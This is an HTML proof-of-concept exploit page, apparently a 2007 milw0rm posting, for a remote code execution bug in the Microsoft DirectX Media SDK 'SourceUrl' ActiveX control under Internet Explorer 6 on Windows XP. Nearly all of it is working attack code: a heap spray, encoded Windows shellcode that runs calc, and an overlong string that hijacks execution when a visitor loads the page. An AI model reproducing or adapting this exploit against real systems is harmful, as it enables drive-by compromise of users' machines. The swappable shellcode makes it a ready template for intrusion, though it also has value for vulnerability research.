53 lines
No EOL
1.5 KiB
HTML
53 lines
No EOL
1.5 KiB
HTML
<HTML>
|
|
<!--
|
|
Microsoft DXMedia SDK 6 "SourceUrl" ActiveX 0day Remote Code Execution Exploit
|
|
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
|
|
Tested on:..
|
|
- Microsoft DirectX Media 6.0 SDK
|
|
- Microsoft Internet Explorer 6 + all patches
|
|
- Microsoft Windows XP SP2 Polish + all patches
|
|
|
|
Details:..
|
|
|
|
obj.SourceUrl = "AAAA..1044..AAAA";
|
|
location.reload();
|
|
|
|
[Module DXTLIPI]
|
|
EAX 41414141
|
|
CALL DWORD PTR DS:[EAX]
|
|
-->
|
|
|
|
<object id="obj" classid="clsid:201EA564-A6F6-11D1-811D-00C04FB6BD36"></object>
|
|
|
|
<script>
|
|
|
|
var shellcode = unescape("%u9090%u9090"+ //Windows Execute Command (calc)
|
|
"%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+
|
|
"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+
|
|
"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+
|
|
"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+
|
|
"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+
|
|
"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+
|
|
"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");
|
|
|
|
var address = 0x0D0D0D0D;
|
|
var block_size = 0x400000;
|
|
var blocks = (address - block_size) / block_size;
|
|
var spray = unescape("%u0D0D%u0D0D");
|
|
var tmp = "\x0D\x0D\x0D\x0D";
|
|
var tmp_size = 1044;
|
|
|
|
while((spray.length * 2) < block_size) spray += spray;
|
|
spray = spray.substring(0, block_size - shellcode.length);
|
|
memory = new Array();
|
|
for(i = 0; i < blocks; i++) memory[i] = spray + shellcode;
|
|
while(tmp.length < (tmp_size * 2)) tmp += tmp;
|
|
tmp = tmp.substring(0, tmp_size);
|
|
|
|
obj.SourceUrl = tmp;
|
|
location.reload();
|
|
|
|
</script>
|
|
</HTML>
|
|
|
|
# milw0rm.com [2007-08-10] |